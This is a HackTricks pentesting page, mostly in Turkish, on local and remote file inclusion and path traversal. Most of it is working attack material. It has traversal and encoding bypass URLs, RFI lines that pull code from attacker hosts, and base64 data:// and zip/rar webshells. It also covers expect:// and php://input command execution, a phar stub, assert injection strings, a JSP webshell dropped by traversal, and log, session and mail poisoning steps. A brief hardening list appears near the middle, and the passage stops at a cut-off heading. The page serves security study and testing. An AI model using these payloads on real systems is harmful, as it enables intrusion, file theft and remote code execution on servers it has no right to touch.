682 lines
37 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
## File Inclusion
**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazıp sunucunun çalıştırmasını sağlayabilirsiniz). php'de bu varsayılan olarak **devre dışı**dır (**allow_url_include**).\
**Local File Inclusion (LFI):** Sunucu yerel bir dosya yükler.
Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Zafiyete açık **PHP fonksiyonları**: require, require_once, include, include_once
Bu zafiyeti sömürmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE dosyaları
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Çeşitli \*nix LFI listelerini karıştırıp daha fazla path ekleyerek bunu oluşturdum:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Ayrıca `/` yerine `\` deneyin\
Ayrıca `../../../../../` eklemeyi deneyin
Zafiyetin varlığını kontrol etmek için /etc/password dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir
### **Windows**
Farklı wordlists'lerin birleşimi:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Ayrıca `/` yerine `\` deneyin\
Ayrıca `C:/` silmeyi ve `../../../../../` eklemeyi deneyin
Zafiyetin varlığını kontrol etmek için /boot.ini dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir
### **OS X**
linux için LFI listesine bakın.
## Basic LFI and bypasses
Tüm örnekler Local File Inclusion içindir, ancak Remote File Inclusion için de uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences özyinelemeli olmayan şekilde kaldırıldı
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Sağlanan string'in sonuna fazladan karakter eklenmesini engelleyen Bypass (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Bu, **PHP 5.4'ten itibaren çözüldü**
### **Kodlama**
Standart olmayan kodlamalar kullanabilirsiniz, örneğin double URL encode (ve diğerleri):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Mevcut klasörden
Belki back-end klasör yolunu kontrol ediyordur:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının test edilmesini içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem yer almaktadır:
1. **Determine Directory Depth:** Bulunduğunuz dizinin derinliğini, `/etc/passwd` dosyasını başarıyla getirerek belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL şu şekilde yapılandırılabilir ve üç katman derinliği olduğunu gösterir:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Klasörleri Sorgula:** Şüpheli klasör adını (ör. `private`) URL'ye ekleyin, ardından `/etc/passwd`'e geri dönün. Ek dizin seviyesi derinliğinin bir artırılmasını gerektirir:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Sonuçları Yorumlama:** Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- **Hata / Çıktı Yok:** Belirtilen konumda `private` klasörü muhtemelen yoktur.
- **İçeriği `/etc/passwd`:** `private` klasörünün varlığı doğrulanır.
4. **Yinelemeli Keşif:** Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla incelenebilir.
Farklı konumlardaki dizinleri keşfetmek için payload'u uygun şekilde ayarlayın. Örneğin, geçerli dizinin derinliğinin 3 olduğunu varsayarak `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için kullanın:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlatıp kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildikten sonra bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- Son 6 karakter `passwd` ise, sonuna `/` eklemek (yani `passwd/`) hedeflenen dosyayı değiştirmez.
- Benzer şekilde, bir dosya yolunun sonuna `.php` eklenmişse (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd`'a erişmek için path truncation kullanımını göstermektedir:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Bu senaryolarda gerekli traversal sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişiklik gösterebilir.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizgileri etkisiz hale getirerek yok sayılmasını sağlar.
- **Determining the Required Number of Traversals**: Deneme yanılma yoluyla, kök dizine ve sonra `/etc/passwd`'e ulaşmak için gereken `../` dizilerinin tam sayısı bulunabilir; böylece sunucunun eklediği dizgiler (ör. `.php`) etkisizleştirilirken hedef yol (`/etc/passwd`) korunur.
- **Starting with a Fake Directory**: Yolun başına var olmayan bir dizin (ör. `a/`) koymak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
Path truncation tekniklerini kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
php'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`** **Off.** olarak ayarlanmıştır. Çalışması için **On** olması gerekir; bu durumda sunucunuzdan bir PHP dosyası include ederek RCE elde edebilirsiniz:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Eğer bir nedenle **`allow_url_include`** **On** ise, ancak PHP harici web sayfalarına erişimi **filtering** yapıyorsa, [bu gönderiye göre](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Önceki kodda, sonundaki `+.txt` eklendi çünkü attacker `.txt` ile biten bir string'e ihtiyaç duyuyordu; bu yüzden string onunla biter ve b64 decode sonrası o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (ve dolayısıyla çalıştırılacak).
Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olur:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Kök öğesi
python'da aşağıdaki gibi bir kodda:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Kullanıcı **`file_name`** için bir **mutlak yol** verirse, **önceki yol sadece kaldırılır**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'e göre amaçlanan davranıştır:
> Eğer bir bileşen mutlak bir yolsa, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
## Java Dizin Listeleme
Görünen o ki, Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin talep ederseniz**, dizinin **listesi döndürülür**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).
## İlk 25 parametre
İşte local file inclusion (LFI) açıklarına karşı savunmasız olabilecek ilk 25 parametrenin listesi (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI — PHP wrappers & protocols kullanımı
### php://filter
PHP filtreleri, verinin okunmasından veya yazılmasından önce temel **veri üzerinde değişiklik işlemleri** yapmaya izin verir. Filtrelerin 5 kategorisi vardır:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Verideki etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)
- Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). Desteklenen **tüm kodlamaların listesi** için konsolda şu komutu çalıştırın: `iconv -l`
> [!WARNING]
> `convert.iconv.*` conversion filter'ünü suistimal ederek **istediğiniz metni üretebilirsiniz**, bu da örneğin istediğiniz metni yazmak veya include gibi bir fonksiyonun bu metni işleyebilmesini sağlamak için faydalı olabilir. Daha fazla bilgi için [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) dosyasına bakın.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi exfiltrating yapıyorsanız faydalı)
- `zlib.inflate`: Veriyi dekomprese eder
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Kullanımdan kaldırıldı
- `mdecrypt.*` : Kullanımdan kaldırıldı
- Diğer filtreler
- PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda birkaç **beklenmeyen filtre** bulabilirsiniz:
- `consumed`
- `dechunk`: HTTP chunked encoding'i tersine çevirir
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> "php://filter" kısmı büyük/küçük harf duyarsızdır
### Using php filters as oracle to read arbitrary files
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
In the original post you can find a detailed explanation of the technique, but here is a quick summary:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Using other transformations like **rot13** at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Ayrıca **php://stdin, php://stdout and php://stderr**'i sırasıyla **file descriptors 0, 1 and 2**'ye erişmek için kullanabilirsiniz (bir saldırıda bunun nasıl faydalı olabileceğinden emin değilim)
### zip:// ve rar://
İçerisine PHPShell yerleştirilmiş bir Zip veya Rar dosyası yükleyin ve erişin.\
rar protocol'ü kötüye kullanabilmek için **özel olarak etkinleştirilmesi gerekir**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** tarafından kısıtlandığını unutmayın
### expect://
Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
POST parametrelerinde payload'unuzu belirtin:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Bir `.phar` dosyası, bir web uygulaması `include` gibi dosya yükleme için fonksiyonları kullandığında PHP kodu yürütmek için kullanılabilir. Aşağıdaki PHP kodu örneği bir `.phar` dosyasının oluşturulmasını göstermektedir:
```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
`.phar` dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:
```bash
php --define phar.readonly=0 create_path.php
```
Çalıştırıldığında `test.phar` adlı bir dosya oluşturulacak; bu dosya Local File Inclusion (LFI) zafiyetlerini istismar etmek için kullanılabilir.
Eğer LFI yalnızca içindeki PHP kodunu çalıştırmayıp dosya okuma gerçekleştiriyorsa — ör. `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlarla — deserialization zafiyetinin istismarı denenebilir. Bu zafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
PHP'de php filter'larını destekleyen **herhangi bir rastgele dosya okuma** RCE elde etmek için kötüye kullanılabiliyordu. Ayrıntılııklama [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\
Çok kısa özet: PHP heap'inde bir **3 byte overflow** kullanılarak belirli bir boyuttaki serbest chunk zinciri **değiştirildi** ve böylece **herhangi bir adrese istediğini yazmak** mümkün oldu; bu yüzden **`system`** çağırmak için bir hook eklendi.\
Daha fazla php filter kullanarak belirli boyutlarda chunk'lar alloc etmek mümkündü.
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bir file inclusion attack'ta bunun nasıl işe yarayacağına emin değilim)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Rastgele dosyaları okumak için kullanışlı değil)
## LFI via PHP's 'assert'
PHP'de 'assert' fonksiyonuyla uğraşıldığında Local File Inclusion (LFI) riski özellikle yüksektir; 'assert' string içindeki kodu çalıştırabilir. Bu, '..' gibi directory traversal karakterleri içeren girdiler kontrol edilip doğru şekilde sanitize edilmezse özellikle sorunludur.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bunun traversal'ı engellemeyi amaçlamasına rağmen, kazara code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bundan yararlanmak isteyen bir attacker şunu kullanabilir:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Benzer şekilde, herhangi bir sistem komutunu yürütmek için şu kullanılabilir:
```plaintext
' and die(system("id")) or '
```
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Bu teknik, bir **PHP function**ın **dosya yolu** üzerinde **kontrol** sahibi olduğunuz ve bu fonksiyonun bir **dosyaya erişeceği** ancak dosya içeriğini görmeyeceğiniz durumlarda (ör. basit bir **`file()`** çağrısı) önemlidir — içerik gösterilmez.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
Özetle, teknik **"UCS-4LE" encoding** kullanarak bir dosyanın içeriğini o kadar **büyük** hale getiriyor ki dosyayı açan **PHP function** bir **error** tetikliyor.
Daha sonra, ilk karakteri leak etmek için **`dechunk`** filtresi **base64** veya **rot13** gibi diğerleriyle birlikte kullanılıyor ve son olarak **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri diğer karakterleri başa yerleştirip onları leak etmek için kullanılıyor.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Teknik detaylar için bahsedilen post'a bakın!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Dosya alan/yükleyen server-side kodu, hedef yolu kullanıcı kontrollü veri (örn. filename veya URL) kullanarak canonicalise ve validate etmeden oluşturduğunda, `..` segmentleri ve absolute path'ler amaçlanan dizinden kaçıp arbitrary file write'e yol açabilir. Eğer payload'ı web-exposed bir dizine yerleştirebiliyorsanız, genellikle unauthenticated RCE elde edersiniz — webshell bırakarak.
Tipik exploitation workflow:
- Path/filename kabul eden ve içeriği diske yazan bir endpoint veya background worker'da bir write primitive tespit edin (örn. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
- Web-exposed dizinleri belirleyin. Yaygın örnekler:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Amaçlanan storage dizininden webroot'a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
- Bıraktığınız payload'a gidin ve komutları çalıştırın.
Notlar:
- Yazmayı gerçekleştiren vulnerable service non-HTTP portunda dinliyor olabilir (örn. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'ınızı serve eder.
- Java stack'lerinde, bu dosya yazımları genellikle basit `File`/`Paths` concatenation ile uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
Sertleştirme ile bu sınıftaki hatalar engellenir:
- Kanonik bir yola çevirin ve bunun izin verilen (allow-listed) temel dizinin bir alt dizini olduğunu zorunlu kılın.
- `..`, absolute roots veya drive letters içeren herhangi bir yolu reddedin; tercihen üretilmiş dosya adlarını kullanın.
- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini servis edilen köklerden ayırın.
## Remote File Inclusion
Daha önce açıklandı, [**follow this link**](#remote-file-inclusion).
### Apache/Nginx günlük dosyası üzerinden
Eğer Apache veya Nginx sunucusu include fonksiyonu içinde **vulnerable to LFI** ise, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** dosyalarına erişmeyi deneyebilir, **user agent** içine veya bir **GET parameter** içine bir php shell olarak **`<?php system($_GET['c']); ?>`** yerleştirip o dosyayı include edebilirsiniz
> [!WARNING]
> Unutmayın ki shell için **tek tırnak** yerine **çift tırnak kullanırsanız**, çift tırnaklar "_**quote;**_" stringine dönüştürülür, **PHP orada bir hata fırlatır** ve **hiçbir şey çalıştırılmaz**.
>
> Ayrıca, **payload'u doğru yazdığınızdan** emin olun; aksi halde PHP log dosyasını her yüklemeye çalıştığında hata verir ve ikinci bir şansınız olmaz.
Bu diğer loglarda da yapılabilir ancak **dikkatli olun,** logların içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header **authorisation "basic"** Base64 içinde "user:password" içerir ve logların içinde decode edilir. PHPShell bu header içine yerleştirilebilir.\
Diğer olası log yolları:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
**Bir e-posta gönderin** internal bir hesaba (user@localhost) içinde PHP payload'unuz gibi `<?php echo system($_REQUEST["cmd"]); ?>` bulunacak şekilde ve kullanıcının mailini şu yolları include etmeyi deneyin: **`/var/mail/<USERNAME>`** veya **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
1. Çok sayıda shells yükleyin (örneğin: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), burada $PID = işlemin PID'si (brute force ile bulunabilir) ve $FD file descriptor (o da brute force ile bulunabilir)
### Via /proc/self/environ
Bir log dosyası gibi, payload'u User-Agent içine gönderin; bu /proc/self/environ dosyasında yansıyacaktır.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Üzerinden upload
Eğer bir dosya upload edebiliyorsanız, içine sadece shell payload enjekte edin (ör. : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin meta verisine enjekte etmek en iyisidir
### Zip dosyası yükleyerek
PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### PHP sessions ile
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarına kaydedilir
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Cookie'yi `<?php system('cat /etc/passwd');?>` olarak ayarla
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
PHP session file'ını include etmek için LFI'yi kullan.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### ssh ile
Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\<HOME>/.ssh/id_rsa** dosyasına erişmeyi deneyin
### **Üzerinden** **vsftpd** _**günlükleri**_
FTP sunucusu vsftpd'nin logları _**/var/log/vsftpd.log**_ konumundadır. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir:
1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin.
2. Enjeksiyon sonrası, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ dosyasından alın.
### php base64 filtresi ile (base64 kullanarak)
